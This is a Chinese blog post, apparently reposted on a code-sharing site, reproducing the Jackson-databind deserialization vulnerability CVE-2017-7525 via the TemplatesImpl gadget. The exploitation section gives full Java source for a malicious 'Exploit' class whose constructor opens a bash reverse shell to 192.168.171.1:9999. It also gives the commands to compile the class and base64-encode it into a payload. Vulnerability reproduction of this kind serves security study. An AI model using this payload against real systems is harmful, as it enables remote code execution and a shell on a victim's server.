ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

jackson CVE-2017-7525 漏洞复现

2021-11-29 13:33:45  阅读:353  来源: 互联网

标签:jackson sun Exploit internal 7525 apache import 2017 public


CVE-2017-7525 Jackson-databind 反序列化漏洞

原理

Jackson-databind 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties() 方法时,会初始化 transletBytecodes 包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl 的说明。

利用

恶意class文件源码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exploit extends AbstractTranslet {


    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }


    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public Exploit() throws IOException {
        try {
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.171.1/9999 0>&1"};
            Process p = Runtime.getRuntime().exec(commands);
            p.waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws IOException {
        Exploit helloworld = new Exploit();
    }
}

将上述文件编译成class文件后,转化为base64编码:

文件编译必须在jdk<1.8中编译,我的编译环境是jdk1.7
文件编译必须在jdk<1.8中编译,我的编译环境是jdk1.7
文件编译必须在jdk<1.8中编译,我的编译环境是jdk1.7

javac Exploit.java; cat Exploit.class | base64 -w 0 | xargs

在这里插入图片描述

在这里插入图片描述

参考文章

漏洞复现-CVE-2017-7525-Jackson远程代码执行

标签:jackson,sun,Exploit,internal,7525,apache,import,2017,public
来源: https://blog.csdn.net/qq_41874930/article/details/121606895

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有